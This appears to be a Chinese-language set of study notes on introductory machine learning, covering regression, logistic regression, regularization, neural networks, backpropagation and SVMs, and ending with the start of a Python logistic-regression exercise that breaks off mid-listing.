00000020 item ends

监督学习

监督学习是从“标记”的训练数据来推断一个功能的机器学习任务,训练数据包括一套训练示例

  • 在监督学习中,每个实例都是由一个输入对象(通常为矢量)和一个期望的输出值(也称为监督信号)组成
  • 监督学习算法是分析该训练数据,并产生一个推断的功能,其可以用于映射出新的实例
  • 一个最佳的方案将允许该算法来正确地决定那些看不见的实例的类标签
  • 这就要求学习算法是在一种“合理”的方式从一种从训练数据到看不见的情况下形成

监督学习可以分为两类:回归问题,分类问题

  • 回归问题:通过给定一组数据,我们想要预测出连续的数值输出
  • 分类问题:我们没法预测一个离散值输出(对或者错,“0”或者“1”,当然也可能是多个确定的选项),只能推测一种结果的可能性

无监督学习

在监督学习中,程序被明确告知了什么是“正确”,而在无监督学习中,训练数据没有任何的“标记”,而程序会尝试把这些训练数据分为:有着某些相同性质的簇(聚类算法)

  • 无监督学习即没有标注的训练数据集,需要根据样本间的统计规律对样本集进行分析,常常被用于数据挖掘,用于在大量无标签数据中发现规律
  • 而聚类是无监督学习的常见任务,就是将观察值聚成一个一个的组,每一个组都含有一个或者几个特征,‎聚类的目的在于‎‎把相似的东西聚在一起,而我们并不关心这一类是什么‎‎
  • 因此,一个聚类算法通常只需要知道‎‎如何计算相似度‎‎就可以开始工作了
  • ‎例如无监督学习应该能在不给任何额外提示的情况下,仅依据一定数量的“狗”的图片特征,将“狗”的图片从大量的各种各样的图片中将区分出来

线性回归-回归

线性回归分析(Linear Regression Analysis)是确定两种或两种以上 变量间相互依赖的定量关系 的一种 统计分析方法

例如:

  • 身高:由父亲的身高、母亲的身高、家庭收入、所在地区等因素决定
  • 房价:由地段、面积、周围配套、时间等因素决定

线性回归要做的是就是找到一个数学公式能相对较完美地把所有自变量组合(加减乘除)起来,得到的结果和目标越接近越好(也就是说,代价函数越小越好)

  • 线性回归本质上就是把“散点图”拟合为一条直线,有许多种方法可以实现这个操作
  • 其中最常见的算法就是梯度下降,梯度下降可以是代价函数到达最下值

多项式回归-回归

如果您的数据点显然不适合线性回归(通过所有数据点的直线),则多项式回归可能是理想选择

多项式回归与线性回归一样,使用变量 x 和 y 之间的关系来找到通过数据点画线的最佳方法

案例:

我们可以从另外一个角度来理解这个式子,如果把 “x的平方” 理解成一个特征,把 “x” 理解成另外一个特征,这样这式子依然是线性回归的式子,但从 “x” 的角度来看是一个非线性的方程

这样的方式就叫多项式回归,相当于我们为样本多添了特征,这些特征是原来样本的多项式项

均方误差-代价函数

首先我们需要知道:代价是什么?

  • 可以简单的把“代价”理解为“误差”
  • 对于机器学习的目标,无非也就是最小化误差,也就是让代价最小化

假设有训练样本 (x, y),模型为 h,参数为 θ:

概况来讲,任何能够衡量模型预测出来的值 h(θ) 与真实值 y 之间的差异的函数都可以叫做代价函数C(θ),如果有多个样本,则可以将所有代价函数的取值求均值,记做J(θ),因此可以得出以下关于代价函数的性质:

  • 对于每种算法来说,代价函数不是唯一的
  • 代价函数是参数 θ 的函数
  • 总之,代价函数 J(θ) 可以用来评价模型的好坏,代价函数越小说明模型和参数越符合训练样本 (x, y)
  • J(θ) 是一个标量

代价函数(cost function)是用来衡量模型好坏的函数,我们的目标当然是得到最好的模型(也就是最符合训练样本的模型),因此训练参数的过程就是不断改变 θ,从而得到更小的 J(θ) 的过程,理想情况下,当我们取到代价函数 J 的最小值时,就得到了最优的参数 θ

均方误差(Mean squared error)是在线性回归中最常用的代价函数:

  • m:训练样本的个数
  • hθ(x):用参数θ和x预测出来的y值
  • y:原训练样本中的y值,也就是标准答案
  • 上角标(i):第i个样本

适用的线性方程为:(其实就是一次函数)

注意:在实际的操作中,代价函数处理返回 cost(代价) 以外,还需要返回 grad(梯度),也就是当前代价的偏导数(可以去看看后续的实验操作中的代价函数,它们都是返回这两个值的)

  • 相应地,线性回归的代价对 θj 的偏导数定义为:(无正则化)

梯度下降-拟合函数

梯度下降用于将函数 J(代价函数)最小化,其核心思想是通过求梯度的方法来找到代价函数的最小值

  • 假设我们有一个需要最小化的函数 J(θ) ,我们需要做的就是从“0”开始一点一点改变 θ(如果有 θ1,θ2 …. 也要一起修改),直到我们找到 J(θ) 的最小值
  • 当然不是随意修改 θ,每次都要在原来的基础上选择下降最快的方式

第一次操作:

第二次操作:

可以发现:两次操作都是在当前的基础上获取最优解,但是结果却截然不同,这就是梯度下降的特点之一,下面看看梯度下降具体的数学原理:(为了方便理解,这里只设置了两个参数θ)

反复执行这个过程,直至收敛

  • “:=” 用来表示赋值,相当于C语言中的“=”
  • “α”(学习率)用于控制每次梯度下降时需要迈出的步幅
  • “θ” 用于表示参数(案例中就是代表了x,y),每次需要同时同步更新各个“θ”

正确的更新方式:

错误的更新方式:

正规方程-拟合函数

为了获取代价函数的最小值,我们采用了梯度下降这种迭代的方式,分多次进行求解,而正规方程只需要运算一次就可以获取最小值

如果我们要获取一个函数最小值,最常见的办法就是对它求导,如果函数的最高次很高的话,方程就会很复杂,使用算法难以实现,而正规方程利用矩阵完成了这个过程

PS:本人太菜,理解不了正规方程

特征规范化-优化

不同特征具有不同量级时会导致:

  • 数量级的差异将导致量级较大的特征占据主导地位
  • 数量级的差异将导致迭代收敛速度减慢(收敛过程会来回偏转)
  • 依赖于样本距离的算法对于数据的数量级非常敏感

所以,当特征相差几个数量级时,首先执行特征缩放可以使梯度下降更快地收敛,另外,特征的值过大或过小也会导致收敛速度下降

特征缩放:我们可以对特征进行“乘除”操作,来使其到达合适的范围

  • 从数据集中减去每个特征的平均值
  • 减去平均值后,再将特征值按各自的“标准偏差”进行缩放(除)

逻辑回归-分类

Logistic Regression 虽然被称为回归,但其实际上是分类模型,并常用于二分类,用于解决分类问题

下面是一些分类问题的例子:

  • 邮件垃圾分类
  • 交易是否有欺诈

通常,这些数据都只有两种或几种可能(有限次数):

用线性回归来不能很好的拟合这些数据,因此逻辑回归诞生了

逻辑回归的本质是:假设数据服从这个分布,然后使用极大似然估计做参数的估计

假设陈述-分类

首先,我们需要我们的分类器输出值在 [ 0 , 1 ] 之间,因此,我们提出一个“假设”来满足该性质,假设的形式为:

我们定义函数 g 为:

把它们组合一下,可以得到:

这就是 Sigmoid 函数(另外,sigmoid 函数和 logistic 函数是同一个意思,完全可以相互替换),它的图形大概是这个样子:

当假设输出某个数字时,我们会把这个数字当做:对于输入值“x”,“y=1”的概率估计

例如:假设一个学校需要根据学生的成绩来录取学生,而我们拥有学生成绩这一数据集,于是我们把学生成绩作为“x”输入 Sigmoid 函数 h(x),就可以得到该学生录取的概率

但是,我们仍然需要利用各种拟合函数使 θ 最小化,这样 Sigmoid 函数才有意义

决策边界-分类

理解决策边界(Decision Boundary),可以帮助我们了解 Sigmoid 函数到底在计算什么

Sigmoid 函数的图形:

1651831283984

我们发现:

  • 当 z < 0 时,h(x) < 0.5(“z”就是函数 g(z) 的参数)
  • 当 z > 0 时,h(x) > 0.5(“z”就是函数 g(z) 的参数)

所以点 (0 , 0.5) 就是“决策边界”的判定点:

  • 如果 “h(x) < 0.5” ,z < 0,我们判断 “y=0”
  • 如果 “h(x) > 0.5” ,z > 0,我们判断 “y=1”
  • 如果 “h(x) = 0.5” ,预测为正类(我们不用在意)

于是判断样本是否为某个“可能”的条件,从 “h(x) vs 0.5” 转化为了 “z vs 0”,这里的 z 就是我们需要拟合的模板函数(要根据数据集散点图判断该函数的形状,然后添加对应的多项式),当拟合完毕后,z 就是“决策边界”

案例一:

假设我们有如下一组数据集:(多特征)

并且我们已经拟合好了数据(利用“拟合函数”使“代价函数”最小),得到一组固定的 θ [-3,1,1]

用直线 -3+x1+x2 = 0 作为“决策边界”:

  • 如果 “ -3+x1+x2 > 0 ” ,我们判断 “y=1”
  • 如果 “ -3+x1+x2 < 0 ” ,我们判断 “y=0”
  • 如果 “ -3+x1+x2 < 0 ” ,预测为正类

案例二:

假设我们有如下一组数据集:(增添两个格外特征)

并且我们已经拟合好了数据,得到一组固定的 θ [-1,0,0,1,1]

用圆 -1+(x1)^2+(x2)^2 = 0 作为“决策边界”:

  • -1+(x1)^2+(x2)^2 > 0,我们判断 “y=1”
  • -1+(x1)^2+(x2)^2 < 0,我们判断 “y=0”
  • -1+(x1)^2+(x2)^2 = 0,预测为正类

通过在特征中增加这些复杂的多项式,我们可以得到更复杂的决策边界

注意:决策边界不是训练集的属性,只要给定了 θ ,决策边界就确定了,而不是用训练集来定义决策边界

多元分类-分类

在实际问题中,我们可能会遇到有“多种可能”的特征

例如:

  • 邮件分类:家人,同学,诈骗……
  • 考试等级:A,B,C,D……

接下来我们就来讨论遇到多元分类时的处理办法,假设有一个三元分类:

我们可以把这个三元分类分为三个二元分类:

可以把另外两个分类定义为新的“伪训练集”,然后按照二元分类的方式进行拟合

最后,我们有三个分类器,每个分类器都针对其中一种情况进行训练,得到对应分类“P==1”成立的概率,分类器通式如下:

意义为:当给定了 “x” 和 “θ” 时,“y = i” 的概率,虽然这三者的概率加起来可能不为“1”,但是我们并不关心,我们只需要选择概率最高的那个就可以了

交叉熵-代价函数

先看看回归问题常用的代价函数:均方误差(做了一些变化)

我们把关键的部分提取出来:

问题的关键就是 h(x) 函数(模型),线性回归和逻辑回归的 h(x) 函数是不同的:

线性回归:

  • 公式
  • 图像

逻辑回归:

  • 公式
  • 图像

可以发现:h(x) 函数的改变导致“代价函数-均方误差”变为了非凸函数,使梯度下降算法不容易找到代价函数的最小值(可能找到一个极小值点就停了),这样会导致梯度下降的拟合性很差

为了解决这个问题,逻辑回归会使用适用于它自己的代价函数-交叉熵

fminunc-拟合函数

fminunc 采用拟牛顿法 (QN),是一种使用导数的算法,优化工具箱提供 fmincon 函数用于对有约束优化问题进行求解

Octave/MATLAB 的 fminunc 是一个优化解算器,可以找到无约束函数的最小值,对于逻辑回归,需要优化成本函数 J(θ),具体来说,您将使用 fminunc 找到最佳参数 θ 对于逻辑回归成本函数 J(θ)

在 Python 中也有该函数:

1
2
3
import scipy.optimize # SciPy的optimize模块提供了常用的最优化算法函数实现

theta, cost, *unused = opt.fmin_bfgs(f=cost_func, fprime=grad_func, x0=init_theta, maxiter=400, full_output=True, disp=False)

过拟合问题-优化

我们还是以“预测房子的价格”为案例:

  • 房子的价格和房子的大小有关

现在根据拟合程度的不同,有三种情况:A(左),B(中),C(右)

  • 随着房子的面积增大,房子的价格趋于平缓,所以 A 不能很好的拟合该模型(称为欠拟合)
  • 在 B 中加入了一个2次多项式,使拟合效果很好
  • 而 C 中加入了一个3次多项式,一个4次多项式,在现有的数据集中也许可以很好的拟合,但是总体来说不符合实际,我们也没有更多的数据来约束它(称为过拟合)

这种过度拟合的问题会在参数θ变多的情况下发生:

  • 因为能更好的拟合现有的数据,所以随着参数θ增多, J(θ)(代价函数)会不断的接近“0”,但是拟合曲线也会越来越扭曲
  • 拟合曲线会千方百计的拟合数据集,如果没有足够的数据来约束它,它就可能无法泛化到新的样本中,导致无法预测数据

下面这个逻辑回归的例子可能会明显些:

解决办法:

  • 数据可视化:绘制决策边界的图像,初步判断参数θ的数目合不合适
  • 人工调查选择:在数据比较复杂的模型中,绘图是比较困难的而且往往解决不了问题(有时即使有图形,也不好判断是否过拟合),所以需要人工排查哪些变量比较重要,那些可以去除,尽可能减少变量
  • 模型选择算法:可以自动选择哪些特征变量可以保留,哪些可以去除(但是这种算法不可控,可能会因为舍弃关键变量,而导致拟合程度下降)
  • 正则化:我们将保留所有特征变量,但是减少量级,或者参数θ的大小

正则化-优化-代价函数

在之前的案例中:增加参数θ的数目会导致 过拟合,使泛化效果不好

如果我们在函数中加入“惩罚项”,使“θ3”,“θ4”变得很小,这就可以平衡过拟合的影响

正则化-均方误差

其实就是在标准均方误差上面加了一项(惩罚项,正则化项),使其缩小所有的参数(因为我们不知道要优化哪些参数),这里的 λ 就是正则化参数,用于控制各个参数之间的平衡

PS:之后在重选择中 ,会有很多方法来自动选择 λ

正则化-交叉熵

正则化-优化-拟合函数

之前我们使用了梯度下降的方法来拟合模型,如果对代价函数进行了正则化,那么 梯度下降 也要进行正则化才行

适用于均方误差-梯度下降

梯度下降通用公式:

把 J(θ) 替换为均方误差:

进行正则化:

适用于交叉熵-梯度下降

交叉熵通用公式:

进行正则化:

同时,求梯度的公式也需要正则化(通常的代价函数都会返回:cost(代价),grad(梯度))

求梯度通用公式:

进行正则化:(注意:正则化是从“1”开始,而不是“0”)

向量化-优化-代价函数

向量化是非常基础的去除代码中 for 循环的艺术

  • 当在深度学习安全领域、深度学习实践中应用深度学习算法时,会发现在代码中显式地使用 for 循环使算法很低效
  • 所以算法能应用且没有显式的 for 循环是很重要的,并且会帮助你适用于更大的数据集

在深度学习领域这里有一项叫做向量化的技术,是一个关键的技巧,它可以允许你的代码摆脱这些显式的 for 循环,举个栗子说明什么是向量化:

在逻辑回归中,需要去计算 z = (w^T)x + b(其中 w,x 都是列向量),如果有很多的特征,那么就会有一个非常大的向量,那么如果想使用非向量化方法去计算 (w^T)x ,就需要如下的方法:

1
2
3
4
z = 0
for i in range(n_x):
z += w[i] * x[i]
z += b

可以发现非向量化的实现有 for 循环,作对对比,向量化的实现将会直接计算:

1
z = np.dot(w, x) + b

神经网络

神经网络产生的最初目的是为了制造出模拟人脑的机器,下面是我们神经元的结构图:

神经元通过许多树突来接收电信号,在细胞体中处理过后,又通过轴突输出电信号,我们可以用以下这个模型来模拟这个过程:

x1,x2,x3 通过“树突”传输到运算函数 hθ(x),然后通过“轴突”输出数据

这里的 hθ(x) 就可以是逻辑回归中的 Sigmoid 函数(假设陈述),而 θ 就是模型的参数向量(在神经网络中也被称为“权重”)

而这个模型就被称为:带有 Sigmoid 激活函数的人工神经元

神经网络其实就是一组神经元连接在一起的集合,第一层被称为“输入层”,第二层被称为“隐藏层”,最后一层被称为“输出层”(其实除了第一层和最后一层,其他层都是“隐藏层”)

接下来来分析一下神经网络的计算流程:

  • 假设我们输入 x1,x2,x3 到“隐藏层”,“隐藏层”根据自己的算法输出 a1,a2,a3,然后这3个数据作为最终“输出层” hθ(x) 的参数,计算出最终的结果
  • 每个样本都会根据当前 θ 拟合出的函数模型进行计算,输出一个预测的结果,然后把预测结果同真实数据进行对比,通过一些算法来调整 θ,使其结果更加趋近于真实值
  • 当所有数据都处理完毕以后,每个节点都大概拥有了一个相对稳定的 θ 值,然后就可以预测数据了

接下来我们把视角聚集到某个节点:

  • 我们把上述模型中的“输入层”屏蔽,后续的“隐藏层”和“输出层”其实构成了一个“逻辑回归模型”(只不过这里不直接传入数据集,而是传入“上一层”的运算结果)
  • 对这一个节点进行拟合,就可以得到一组确定的参数 θ
  • 而把整个神经网络都拟合完毕以后,每个节点都可能有一组不同的参数 θ(每个节点都输出它们认为的“最佳值”,到最后的“输出层”就可以输出该样本最可能的类)

神经网络的连接方式也被称为神经网络架构,通过改变架构,就可以模拟出更加复杂的特征(相比于逻辑回归中,通过增加参数 θ 的数目来模拟复杂的特征,这种方式更为高效)

案例一:使用神经网络来模拟 AND(OR同理)

假设我们有两个 x1,x2 两个输入特征,它们只能取“0”或者“1”

现在 y = x1 AND x2(和“&&”一样,当“x1==x2”时,“y=1”,否则“y=0”),它的神经网络模型如下:

  • PS:这个“+1”被称为“+1单元”,是我们引入的值

经过拟合之后的权重结果为:θ [-30,20,20],也就意味着该模型为:

解释一下该模型:

  • g(x) 就是 Sigmoid 函数
  • x1 和 x2 就只有两种可能:“0”,“1”
  • 当 x1 == 0 && x2 == 0 时,g(-30) ≈ 0
  • 当 x1 == 0 && x2 == 1 时,g(-10) ≈ 0
  • 当 x1 == 1 && x2 == 0 时,g(-10) ≈ 0
  • 当 x1 == 1 && x2 == 1 时,g(10) ≈ 1

和逻辑运算符 AND 的逻辑基本相同,成功模拟出 AND(注意:这个权重 θ 是拟合出来的)

案例二:使用神经网络来模拟 XNOR

XNOR为“同或”,和“异或相反”:若相同则输出为“1”,不同则输出为“0”,它的图像如下:

  • 这是明显的非线性结构,使用单一的逻辑回归是解决不了问题的,不过使用神经网络就可以通过结点之间的组合来解决问题
  • 学习这个模型,其实是想体验一下各个神经结点的组合搭配过程

“同或”其实就是以上这3个模型拼接出来的:

  • 红色的部分(-30,20,20)是 AND
  • 蓝色的部分(10,-20,-20)是 AND-NOT
  • 它们组合出来的“隐藏层”可以放入下表的 a1,a2:
  • 绿色的部分(-10,20,20)是 OR,发现“隐藏层”进行“或”操作后,刚好就可以得到 XNOR 的结果

这个案例证明了神经网络的功能强大:通过改变架构,就可以模拟出更加复杂的特征

交叉熵(神经网络)-代价函数

先看看逻辑回归中,正则化的交叉熵公式:

对于神经网络,我们将不再只有一个逻辑回归输出单元,而是有 K 个

那么它的公式如下:(又长又复杂)

对于一个确定的(xi,yi),那么它的代价函数可以看做是:

为了方便理解,也可以把代价函数看做是如下式子:

类似于均方误差,代表了神经网络预测样本值的精确程度

反向传播-优化

  • 梯度下降:是寻找代价函数最小值的一种方法
  • 交叉熵(神经网络):神经网络的代价函数,需要提供“梯度”
  • 反向传播:是求解梯度的一种方法

我们先分析一下正向传播的过程

为了拟合神经网络,我们需要使用反向传播算法,所以我们先分析一下程序正向传播的过程

  • a1 就是第一层的激活值,因其在输入层,我们假设它为 x
  • 然后计算模型函数 z(x) 的值,把计算结果放入 Sigmoid 激活函数,计算出另一个激活值 a2
  • 接着进行两次前向传播,分别计算出 a3,a4
  • 最后的 a4 就是假设函数 h(x) 的输出

案例一:(直观的展示了某个神经结点的运算过程)

  • 注意紫色标注出来的 z1(模型函数):

对于正向传播而言,我们采用梯度下降来拟合函数,但是在神经网络中,参数的数量是一个可怕的数字,动辄上万,十几万,并且,其取值有时是十分灵活的,甚至精确到小数点后若干位,若使用穷举法,将会造成一个几乎不可能实现的计算量

解决的办法就是:反向传播算法

采用反向传播算法来计算各个神经网络节点的梯度,并把它提供给代价函数(通常是交叉熵)

接下来就来分析反向传播算法

从直观上来说,反向传播算法就是对每一个结点进行一次这样的运算:

  • δ( l , j ) 代表了第 l 层的第 j 结点的误差

案例:对如下这个图像进行反向传播算法

计算公式为:

  • 对于最后一层(输出层),δ4 就是 a4(输出层预测的结果)和 y(真实的结果)之间的差值
  • 而对于中间的隐藏层,因为不清楚“预测结果”和“真实结果”的具体值,所以就只能通过以上的公式进行模拟计算
  • 值得注意的是:
    • “ .* ”对应了“点乘”,其结果会是一个标量
    • 最后的结果运算到 δ2 就可以了,因为 δ1 就是真实的数据,没有误差

我们可以简单把 δ( l , j ) 理解为第 l 层的第 j 结点的误差,但它有更实际的意义:(需要高数基础,给跪了)

  • 在神经网络内部,只要稍微改动一下 z(l),就会影响到 cost(某个结点的代价),从而影响整个代价函数的值
  • 所以 δ( l , j ) 其实是用于衡量:为了影响这些中间值(中间层的运算结果),将要改变多少权重(改变权重的程度)

案例二:

假设我们已经计算出了 δ(3).1,δ(3).2,接下来我们要计算 δ(2).2

这个过程其实就是正向传播反了过来:

  • 列出节点 z(2).2 输出的两个权重:θ(2).12 和 θ(2).22
  • 列出节点 z(3).1 和 z(3).2 的δ值:δ(3).1 和 δ(3).2
  • 通过以下公式进行计算:

梯度检测-优化

神经网络有一个不好的性质,那就是它容易产生BUG

当它也梯度下降或者其他算法一起工作时,也许它看起来确实能正常运行,但是反向传播的过程可能会因为一些BUG导致效率下降,因而使最后的结果和没有BUG时差出几个量级,更致命的是,我们可能根本就不知道发生了BUG

这个问题的解决办法就是梯度检测,原理如下:

  • 梯度检测会估计梯度(导数)值,然后和你程序计算出来的梯度的值进行对比,以判断程序算出的梯度值是否正确
  • 上图中,我们关注θ0点的函数的导数,即θ0点切线(图中蓝线)的斜率,现在我们在“θ0−ε”和“θ0+ε”两点连一条线(图中红线),我们发现红线的斜率和蓝线斜率很相似
  • 红线的斜率可以用以下式子表示:
  • 实际上,以上的式子很好地表示了θ0点导数的近似值
  • 在实际的应用中,θ往往是一个向量,梯度下降算法要求我们对向量中的每一个分量进行偏导数的计算,对于偏导数,我们同样可以用以下式子进行近似计算:
  • 梯度检测方法的开销是非常大的,比反向传播算法的开销都大,所以一旦用梯度检测方法确认了梯度下降算法算出的梯度(或导数)值是正确的,那么就及时关闭它
  • 一般来说ε的值选“10的-4次方”,注意并不是越小越好

随机初始化-优化

对于一个高级算法,需要对它的 θ 集合进行初始化,通常的想法就是把它们初始化为“0”

这个在逻辑回归中是没有问题的,但是在训练神经网络的时候,因为权重都是“0”,导致所有节点的激活值都是一样的,最后使每次更新出来的 θ 都一样

  • 如果把某一层的 θ 都初始化为“0”,那么在梯度下降更新 θ 时,有如下的等式成立:
  • 例如:第一条蓝线的权重会更新为“学习率”乘左边的式子,而第二条蓝线的权重会更新为“学习率”乘右边的式子,因为“θ1”和“θ2”都初始化为“0”,所以这个等式是恒成立的
  • 接下来的两条红线也会相等,同样,两条绿线也会相等

所以我们需要对 θ 进行随机初始化:

  • 对于每一个 θ,我们需要将其初始化为一个范围在 [-ε,ε] 之间的随机值
  • ε 是一个很小的值,通常为“10的-4次方”

偏差方差-误差

当一个算法拟合效果不佳时,只有两种情况:偏差较大,方差较大(也就是欠拟合,过拟合)

  • Error,误差:模型的计算值和真实数据之间的差值
  • Irreducible Error,不可避免的误差:刻画了当前任务任何算法所能达到的期望泛化误差的下限,即刻画了问题本身的难度
  • Bias,偏差:刻画了算法的拟合能力(Bias 高表示预测函数与真实结果相差很大,拟合程度太低)
  • Variance,方差:代表 “同样大小的不同数据集训练出的模型” 与 “这些模型的期望输出值” 之间的差异(Var高表示模型很不稳定,泛化效果差)

交叉验证-误差

之前我们已经介绍了误差的产生和原理,接下来就来看看误差的检查方法:交叉验证

  • 基本思想是将数据分为两部分,一部分数据用来模型的训练,称为训练集
  • 另外一部分用于测试模型的误差,称为验证集

还是那个熟悉的例子:(这里就不赘述了)

首先需要补充几个概念:

  • 训练集:数据集中,用于训练模型的部分
  • 验证集:数据集中,用于调整模型的超参数和用于对模型的能力进行初步评估的部分
  • 测试集:数据集中,用来评估模最终模型泛化能力的部分

下面一张图片将会展示“偏差”,“方差”的区别:(以上述案例为例)

  • J(θ)train 代表了训练集的误差:我们会很明显的发现,随着特征值的增加,函数的误差明显下降
  • J(θ)cv 代表了测试集的误差:和训练集的误差曲线不同,测试集的误差曲线反应了该模型的真实拟合水平

从 J(θ)cv 中我们可以发现两个极点:

  • 左极点代表了:偏差较大,拟合程度不够(欠拟合)
  • 右极点代表了:方差较大,泛化效果不足(过拟合)

学习曲线-误差

如果你想检测你的模型是否可以正常运行,那么学习曲线就是一种很好的工具

学习曲线的基本原理:人为减少训练集的数量,观察模型的误差曲线

一,通常来说,一个良好的模型应该具有以下的性质:

  • 随着训练集数目m的增大,训练集的误差增大,测试集的误差减小

二,对于高 Bias(偏差)的模型:

  • 随着训练集数目m的增大,训练集和测试集的误差都逐渐趋于平缓,也就意味着,不管再投入多少数据,测试集的误差都不会有明显的下降了

三,对于高 Variance(方差)的模型:

  • 不管训练集数目m再怎么增大,训练集和测试集的误差始终都有一大截“鸿沟”,不过在高方差的模型中,投入更多数据还是对训练有帮助的

支持向量机SVM

与逻辑回归和神经网络相比,支持向量机(support vector machines,SVM)能提供一种更为清晰和强大的方式,来运算 复杂的非线性方程

我们先从逻辑回归说起:

  • 当真实数据 y=1 时,我们想要 hθ(x) ≈ 1,所以 z > 0
  • 当真实数据 y=0 时,我们想要 hθ(x) ≈ 0,所以 z < 0

逻辑回归的代价函数为:交叉熵

把单独的 Cost 函数提取出来:

把 hθ 替换为 Sigmoid 函数:

针对这个函数,SVM 其实就是做了一件如下图所示的事情:

  • y = 1 时,函数的图像:取点 (1,0) 然后作一条和逻辑回归曲线相似的直线,名为 Cost1(z)

  • y = 0 时,函数的图像:取点 (-1,0) 然后作一条和逻辑回归曲线相似的直线,名为 Cost0(z)

SVM 就是把两条与逻辑回归曲线相似的直线,当做了代价函数,这样虽然牺牲了一点准确度,但是大大降低了运算的难度

对此,我们只需要把交叉熵简单修改一下,就可以得到 SVM 的代价函数

  • 交叉熵:
  • SVM 的代价函数:(注意这里去掉了“m”,而“C”是一个常数)
  • 当真实数据 y=1 时,我们想要 hθ(x) = 1,所以 z > 1(而不仅仅是 z > 0)
  • 当真实数据 y=0 时,我们想要 hθ(x) = 0,所以 z < -1(而不仅仅是 z < 0)

和逻辑回归不同,SVM 对于分类的判断不是“连续”的,而是有一个“间隔”,这就相当于在SVM中构建了一个安全因子(安全距离)

案例一:假设有一个 y=1 的训练样本,常量 C 很大

  • 因为 y=1 ,所以我们只用看 Cost1
  • 算法的目的是:预测正确 => hθ(x)≈1 => J(θ)尽可能小 => θ尽可能小
  • 这样,公式就可以简化为:
  • 最小化代价函数,其实就是使 θ 的平方和最小
  • PS:这里的 θ 其实是向量,具体的数学原理和向量内积有关

案例二:为数据集画决策边界

  • 紫线,绿线,都是不合理的决策边界
  • 而 SVM 会选择黑线,因为黑线距离样本的最小距离更大一些
  • 看看两条蓝线的距离,这个距离就叫做支持向量机的间距

因为 SVM 每次都会尽量用更大的间距去分离,所以它也被称为大间距分类器

案例三:为数据集画决策边界

  • 对于这个样本,SVM 有两种画法:黑线和紫线
  • 具体采用谁为决策边界是常数C决定的:
    • C 比较小:采用黑线
    • C 比较大:采用紫线
  • 所以我们可以通过调节C,来改变 SVM 的决策方式

高斯核函数

核函数也被称为相似度函数,用于模拟 非线性 决策边界的特征

接下来就通过一个案例来理解核函数的使用场景和作用:

假设有一块非线性的区域,我们想拟合一个决策边界来区分正负实例,通常有两种办法:

  • 第一种方法:通过构建高次项来拟合更复杂的决策边界
  • 第二种方法:通过高斯核函数来定义这些特征值

第一种方法会面临“过拟合”,“欠拟合”等一系列问题,所以第二种方法诞生了,以下图为例:

  • 我们先手动取“3”个点:L1,L2,L3,把这些点成为“标记”
  • 然后用高斯核函数来定义特征:
  • PS:||X-Y|| 就是向量作差之后各分量的平方和的开根号

现在解释一下高斯核函数:

  • 但点 (x1,x2) 靠近 L(i) 时,x ≈ L(i) ,f(i) ≈ exp(0) ≈ 1
  • 但点 (x1,x2) 远离 L(i) 时,x !≈ L(i) ,f(i) ≈ exp(∞) ≈ 0

正样本的附近大概率也是正样本,依照这个规律,相似度函数会根据目标和“标记”之间的距离,来判断该样本是不是正样本,现在再回看一下决策边界的基本模型:

把每一个相似度函数的结果进行整合(“标记”越多,最终结果的判断也越精确),作为特征用于 θ 的拟合,然后就可以用 SVM 对模型进行训练了,那么接下来的问题就是:如何选取 L1,L2,L3…

  • 而我们的解决办法也是简单暴力:直接把样本数据当做“标记”
  • 对于每一个样本 (x,y,z…) 都可以被放入相似度函数中,生成 n 个 f (x,y,z…)

高斯核函数的完整公式为:

在描绘 非线性决策边界 时,单纯的 SVM 算法起不到良好的效果,而如果用高斯核函数来定义特征的话,效果会好很多:

  • 只使用 SVM 算法:
  • 同时使用 SVM 算法和高斯核函数:

实验介绍

在本练习中,您将实现逻辑回归,并将其应用于两个不同的数据集

实验文件:

  • ex2.m:Octave/MATLAB脚本,帮助您完成练习
  • ex2_reg.m:m-Octave/MATLAB脚本,用于练习的后续部分
  • ex2data1.txt:txt-练习前半部分的训练集
  • ex2data2.txt:txt-练习后半部分的训练集
  • submit.m:将您的解决方案发送到我们的服务器
  • mapFeature.m:生成多项式特征的m函数
  • plotDecisionBoundary.m:绘制分类器决策界的函数
  • [?] plotData.m:绘制二维分类数据的函数
  • [?] sigmoid.m:Sigmoid函数(平滑的阶梯函数)
  • [?] costFunction.m:逻辑代价成本函数
  • [?] predict.m:逻辑回归预测函数
  • [?] costFunctionReg.m:正则化逻辑回归代价函数

Logistic Regression(逻辑回归)

在这部分练习中,你将建立一个逻辑回归模型来预测学生是否被大学录取:

  • 假设你是一所大学的系主任,你想根据两次考试的结果来确定每个申请人的入学机会,你有以前申请者的历史数据,可以用作逻辑回归的训练集
  • 对于每个培训示例,您都有申请人的两次考试成绩和录取决定
  • 你的任务是建立一个分类模型,根据这两次考试的分数来估计申请人的入学概率

这是一个典型的监督分类问题,学生只有录取和不录取两种可能,而我们需要评估这两种可能的概率

Visualizing the data A(可视化数据)

在开始实施任何学习算法之前,如果可能,最好将数据可视化,将加载数据,并通过调用函数 plotData 将其显示在二维绘图上

先看看 plotData 函数:

1
2
3
4
5
6
7
8
9
import matplotlib.pyplot as plt

def plot_data(X,Y):
# 用两种不同的颜色,在同一张图像上,绘制两个类别的数据散点图
plt.figure();
pos = Y == 1 # 如果"Y==1"成立,pos为True,否则为False
neg = Y == 0 # 如果"Y==0"成立,neg为True,否则为False
plt.scatter(X[neg,0],X[neg,1],c='black',marker='o',s=20) # 不合格为"black"
plt.scatter(X[pos,0],X[pos,1],c='red',marker='o',s=20) # 合格为"red"
  • scatter:设置图表上的断点
  • 注意:只有对应的 “neg” “pos” 为 True 时,才会被导入 scatter

具体实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
import matplotlib.pyplot as plt # 与图像操作有关的库(提供了和MATLAB类似的绘图API)
import numpy as np # 支持大量的维度数组与矩阵运算,此外也针对数组运算提供大量的数学函数库

# ====== 1.读取数据并绘制散点图 ======
dataset = np.loadtxt('data\ex2data1.txt',delimiter =',')
X = dataset[:,0:2] # 第一/二列: 第一/二次考试的成绩
Y = dataset[:,2] # 第三列: 是否合格('1'表示合格,'0'表示不合格)

plot_data(X,Y) # 图像处理函数(主要是散点的处理)
plt.legend(['Admitted', 'Not admitted'])
plt.xlabel('Exam 1 score')
plt.ylabel('Exam 2 score')
plt.show()

通过观察图像:决策边界(Decision Boundary)就是一条直线(不需要在特征中添加格外的多项式)

Cost function and gradient A(代价函数与梯度)

现在,您将实现逻辑回归的代价函数和梯度下降,在 costFunction 中完成代码,返回代价和梯度

逻辑回归的代价函数为交叉熵,公式如下:

costFunction 函数的实现:(这里已经是带有正则的形式了,但只要 lmd 为“0”就没有影响)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
